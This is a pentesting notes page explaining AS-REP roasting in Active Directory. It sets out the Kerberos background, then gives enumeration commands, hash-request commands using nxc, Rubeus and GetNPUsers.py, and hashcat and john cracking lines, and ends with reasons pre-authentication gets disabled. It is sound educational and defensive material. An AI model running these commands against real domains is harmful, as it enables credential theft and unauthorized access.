> For the complete documentation index, see [llms.txt](https://officerwasu.gitbook.io/officerwasu-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://officerwasu.gitbook.io/officerwasu-docs/untitled/windows-attacks/asrep-roasting.md).

# ASREP Roasting

AS-REP roasting is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected, Those hashes can then be cracked offline.

When Pre-Authentication is enabled, the authentication service will identify the client and encrypt a timestamp with that user’s hash. When the key distribution center (KDC) verifies the time is valid using the user’s hash to decrypt the timestamp, the KDC validates it.

But if Pre-Authentication is disabled anyone can request a TGT if they know the username and the KDC will return ticket granting ticket.

**How it exactly works is:**

The attacker will enumerate for users without Pre-Authentication 

if they have domain access

```bash
Get-DomainUser -PreauthNotRequired -verbose
```

```bash
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```

note: If the attacker does not have domain access then they will need to use other ways to look for usernames such as rid cycling(if they have read on $IPC) or looking at their company website and then can use tools like nxc and kerbrute to validate if the usernames are vaild or not.

now the attacker will request a TGT(KRB\_AS\_REQ) without an authenticator and the KDC will send back KRB\_AS\_REP which has a session key encrypted with the user's  key and a TGT.

the TGT is encrypted with krbtgt's secret key so we can't crack it but the session key is encrypted with this user's secret key also known as `enc-part` so the attacker tries to crack that.

```bash
nxc ldap 10.129.95.180 -u user -p '' --asreproast hash.txt
```

```powershell
.\Rubeus.exe asreproast /format:hashcat /outfile:hash.txt
```

```bash
GetNPUsers.py domain/user -no-pass
```

```bash
Get-ASREPHash -Username user -verbose
```

after getting that session key we can try using hashcat or john to crack the session key.

```
hashcat -m 18200 hash.txt rockyou.txt
```

```
john hash.txt --format=krb5asrep --wordlist=rockyou.txt
```

#### Why is Pre-auth Disabled?

By default, Kerberos pre-authentication is enabled for all accounts. However, you’ll find it disabled (the "Do not require Kerberos pre-authentication" box is checked) for a few specific and usually regrettable reasons.

* Legacy Compatibility: Some ancient applications or operating systems don’t support the pre-auth step. To get them to work with modern Active Directory, admins might lower the security bar for those specific service accounts.
* Troubleshooting "Quick Fixes": If an account keeps getting locked out due to mysterious "bad password" attempts (often from a misconfigured mobile device or script), an admin might disable pre-auth as a temporary workaround and then forget to turn it back on.
* Complex Migrations: During migrations between different types of directories (like Unix/Linux to Windows), pre-authentication can sometimes cause friction, leading to it being disabled for specific users.